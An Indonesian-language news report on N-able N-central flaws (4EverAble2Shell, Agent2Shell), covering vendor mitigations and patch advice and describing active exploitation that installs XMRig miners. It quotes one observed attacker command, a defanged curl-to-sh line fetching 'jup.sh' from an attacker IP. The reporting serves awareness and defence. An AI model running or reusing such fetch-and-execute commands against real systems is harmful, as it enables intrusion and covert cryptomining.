Pihak N-able pada hari Kamis mengumumkan bahwa mereka sedang mengambil serangkaian langkah pencegahan tambahan menyusul terungkapnya rangkaian kerentanan anyar yang dinamai 4EverAble2Shell dan Agent2Shell kepada publik secara luas.
"Kami membatasi fitur-fitur tertentu dan integrasi pada N-central," jelas perusahaan tersebut dalam pembaruan informasi resminya di hari Kamis. "Langkah-langkah ini mungkin akan memengaruhi sebagian fungsionalitas, namun kami yakin bahwa mengambil tindakan pencegahan ekstra selama proses perbaikan diselesaikan merupakan langkah yang tepat guna melindungi mitra kami beserta seluruh pelanggan mereka."
Berikut adalah tindakan yang saat ini telah diterapkan langsung pada lingkungan infrastruktur Hosted –
Pelanggan pada layanan Hosted turut disarankan untuk menaati panduan N-able sebelumnya agar segera memperbarui Agent serta Probe menuju N-central versi 2026.4 HF1 ke atas, sebab pembaruan terkini ini membawa perombakan dalam mekanisme komunikasi antara Probe dan Agent.
"N-able N-central 2026.4 HF1 memperbarui komponen lawas dari Agent dan Probe, yang mengubah cara keduanya saling berkomunikasi," tegas perusahaan. "Oleh karena itu, memperbarui Agent maupun Probe di dalam server N-central Anda merupakan KEHARUSAN mutlak demi memastikan semua perangkat kelolaan tetap berkomunikasi dan terlindungi oleh patch."
Sementara itu, pelanggan on-premises sangat didesak agar segera memutakhirkan modul Agent dan Probe mereka serta memastikan akses Legacy API dimatikan dalam lingkungan sistem mereka, bilamana opsi tersebut sebelumnya pernah diaktifkan secara manual.
"Tim internal kami secara intensif menilai laporan temuan terbaru ini, merumuskan penanganan tambahan, dan bekerja keras guna memulihkan fungsionalitas yang terdampak secara aman," papar N-able. "Menjaga keamanan mitra dan pelanggan tetap menjadi prioritas paling penting bagi kami, dan kami terus mengambil aksi preventif bilamana hal tersebut dirasa esensial."
Situasi ini mencuat pasca peneliti keamanan independen bernama Sean Bales membeberkan sepasang kerentanan baru berjuluk 4EverAble2Shell serta Agent2Shell yang membidik versi paling anyar dari N-central, memungkinkan penyerang mengeksekusi kode bebas sebagai root dan meraih hak akses tingkat SYSTEM pada sistem Windows di bawah kondisi khusus.
Berbagai laporan intelijen ancaman mengonfirmasi bahwa 4EverAble2Shell kini telah melampaui fase pemindaian awal menjadi gelombang eksploitasi aktif, di mana para aktor kejahatan siber menggunakannya guna menanamkan program penambang mata uang kripto pada server-server rentan yang belum terlindungi.
Serangan-serangan siber tersebut diketahui menggabungkan kerentanan kritis Apache Axis berkode CVE-2026-90436 (dengan skor CVSS mencapai 9.8) bersama celah eskalasi hak istimewa N-central tersendiri untuk mengamankan kontrol sistem penuh bertaraf root.
"Rantai eksploitasi tanpa autentikasi pada N-able N-central, yang dikenal sebagai 4EverAble2Shell, dilaporkan mengizinkan peretas jarak jauh menjalankan perintah sistem operasi sekehendak mereka dengan hak istimewa root," demikian laporan Previdian, yang memantau celah keamanan ini melalui penomoran VULN-2026-0009.
"Rantai serangan mengeksploitasi instansiasi kelas tak aman saat pemrosesan SOAP fault di dalam modul Apache Axis bawaan. Permintaan khusus membuat kelas JLine pilihan peretas memproses masukan jahat, berujung pada eksekusi perintah langsung di bawah akun layanan nable."
Berdasarkan rincian rantai eksploitasi dari firma intelijen ancaman tersebut, para peretas terpantau mencoba mengunduh serta mengeksekusi sebuah skrip shell ("jup.sh") dari server milik pelaku bernomor "157.20.241[.]16," sembari mengirimkan kembali informasi diagnostik serta hasil perintah ke server.
Firma keamanan siber Huntback pun membeberkan bahwa alamat IP identik sedang mempersenjatai kerentanan 4EverAble2Shell untuk menyebarkan program penambang kripto Monero XMRig menuju 21 server N-central melalui perintah skrip shell berikut –
mount -o remount,exec /tmp 2>/dev/null; curl -fsSL hxxp://157.20.241[.]16:8080/jup.sh | sh -s nc_[target-IP-redacted]
Penambang kripto tersebut disetel hanya memakai separuh dari kapasitas inti CPU yang tersedia, tampaknya agar gerak-geriknya tidak memicu kecurigaan. Server-server N-central yang terinfeksi tersebar luas di Amerika Serikat, Afrika Selatan, Kanada, Inggris, Jerman, Prancis, dan juga Swedia.
"Penambang kripto adalah satu-satunya muatan yang berhasil kami amati, namun eskalasi memberikan operator akses root di mesin yang mengelola perangkat akhir pelanggan Anda," cetus Huntback. "Anggaplah infeksi ini sebagai kompromi menyeluruh, bukan sekadar tugas pembersihan biasa. Memasang Hotfix 2 saja tidak cukup: 19 korban di sini nyatanya sudah menjalankannya."
About the Author
